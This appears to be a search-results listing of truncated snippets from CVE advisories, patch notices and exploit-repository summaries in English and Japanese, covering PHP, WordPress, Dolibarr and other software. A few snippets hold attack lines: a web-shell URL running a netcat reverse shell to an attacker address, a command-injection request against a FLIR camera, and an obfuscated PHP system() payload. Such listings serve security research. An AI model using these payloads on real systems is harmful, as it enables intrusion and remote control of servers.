99196 matches found
CVE-2026-88418
CMSimple 5.24 ships with CSRF protection disabled by default, which turns csrfProtection into a no-op on every state-changing admin request, and it does not send the csrftoken hidden field in admin forms. Because administrator authentication is cookie-only and no CSRF token is enforced, an...
Exploit-for-Dolibarr-17.0.0-CVE-2023-30253
Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host fo...
Exploit for CVE-2026-87902
CVE-2026-87902 — WordPress Core: unauthenticated path traversa...
ctf-cve-2024-4577
CVE-2024-4577 CTF チャレンジ 概要 このCTFチャレンジは、PHPバージョン8.1.x 8.1.21、8.2.x 8.2.8、および8.3.x 8.3.1に影響を与える重大なPHP CGI引数インジェクション脆弱性CVE-2024-4577を示しています。 脆弱性の詳細 CVE-2024-4577は、PHPがCGIハンドラとして実行されるように設定されている場合に発生するPHP CGI引数インジェクション脆弱性です。攻撃者は巧妙に細工されたHTTPリクエストを介してPHPインタプリタにコマンドライン引数を注入し、リモートコード実行につながる可能性があります。...
CVE-2026-43642
Softaculous Virtualizor before 3.2.9 Patch 9 and 3.0.0 contains a PHP object injection vulnerability in the billing module handler that allows unauthenticated remote attackers to supply arbitrary serialized PHP objects for deserialization by setting the act parameter to login with the...
WordPress Issues Patch for Critical Flaw That Can Enable Code Execution on Some Servers
WordPress has fixed a critical flaw in its core software that lets an attacker with no account make a site load a PHP file from outside its theme folders. On some servers, that can go further, allowing the attacker to run their own code. The fix shipped on September 22 in WordPress 7.1.2, with...
CVE-2019-11043
CVE-2019-11043 簡易的なPHP RCE概念実証...
CVE-2026-43642 Softaculous Virtualizor PHP Object Injection via Billing Module Handler
Softaculous Virtualizor before 3.2.9 Patch 9 and 3.0.0 contains a PHP object injection vulnerability in the billing module handler that allows unauthenticated remote attackers to supply arbitrary serialized PHP objects for deserialization by setting the act parameter to login with the...
EUVD-2026-84622
Softaculous Virtualizor before 3.2.9 Patch 9 and 3.0.0 contains a PHP object injection vulnerability in the billing module handler that allows unauthenticated remote attackers to supply arbitrary serialized PHP objects for deserialization by setting the act parameter to login with the...
CVE-2026-43642
Softaculous Virtualizor versions before 3.2.9 (Patch 9) and 3.0.0 are vulnerable to a PHP object injection flaw in the billing module handler. An unauthenticated remote attacker can achieve remote code execution as root by supplying arbitrary serialized PHP objects via the billing_data POST field...
CVE-2024-48762
CVE-2024-48762 説明 FLIR AX8（バージョン1.46.16まで）の/usr/www/application/models/settingscamera.phpにおけるコマンドインジェクションの脆弱性により、攻撃者はvalueパラメータを介して任意のコマンドを実行可能です。 POC root@kitploit: GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1 Host: XXXX レスポンス root@kitploit: HTTP/1.1 200 OK X-Powered-By: PHP/5.4.14...
CVE-2014-2383-LFI-to-RCE-Escalation
CVE-2014-2383 LFI/RFI から RCE への昇格 テスト環境: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25 セキュリティ評価中に、CVE-2014-2383 の存在が発見されました。この文書は概念実証であり、顧客のプライバシーを保護するために、最初の発見時の詳細は含まれていません。ただし、この文書の内容は、この脆弱性が悪用された環境を模倣しています。 発見 https://github.com/projectdiscovery/nuclei CVE-2014-2383 の詳細 root@kitploit: A...
CVE-2018-16763_FuelCMS-1.4.1_RCE
CVE-2018-16763 FuelCMS - 1.4.1 - RCE PoC FuelCMS 1.4.1は、pages/select/フィルターパラメーターまたはpreview/データパラメーターを介してPHPコード評価を許可します。これは、事前認証リモートコード実行につながる可能性があります。 エクスプロイト これは、PHPのfilter パラメーターを悪用することで機能し、system関数を使用して任意のコマンドを送信できるようにします。 そして、ペイロードは難読化されます： '+piprint$a='system'+$a''+' すると、次のようになります：...
DEBIAN-CVE-2026-87902
An unauthenticated attacker can make getpagetemplate page-template resolution include a chosen readable local .php file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE...
gitlist-RCE
gitlist-RCE CVE-2014-4511 例: シェルアップロード成功後: アクセス: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...
CVE-2026-87902
An unauthenticated attacker can make getpagetemplate page-template resolution include a chosen readable local .php file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE...
Security update for php-composer2
This update for php-composer2 fixes the following issues: CVE-2026-59944: path traversal and link following issue can make files world readable and executable bsc1279898. Patch Instructions: To install this SUSE update use the SUSE recommended installation methods like YaST onlineupdate or "zyppe...
CVE-2024-4577
CVE-2024-4577 免責事項 本ツールは個人のセキュリティ研究学習目的にのみ使用されます。本ツールの配布・利用により生じた直接的または間接的な結果や損害は、すべて利用者本人が負うものとし、作者は一切の責任を負いません。 PHP NAME: PHP-CGI - コマンド実行 USAGE: global options command command options arguments... COMMANDS: help, h コマンド一覧または特定のコマンドのヘルプを表示します GLOBAL OPTIONS: --targeturl url, -u url...
CVE-2026-39023
CVE-2026-39023 RCE PoC - RESPONSIVE filemanager v.9.14.0（最新版 - 未パッチ） Github プロジェクト : https://github.com/trippo/ResponsiveFilemanager 要件: 必要なものはありません。このエクスプロイトは認証不要です。 Responsive Filemanager アプリケーションは、サーバー上のファイルを処理するための Web ベースのファイル管理ツールです。この脆弱性（CVE-2026-39023）により、攻撃者はファイルの重複処理を悪用して PHP...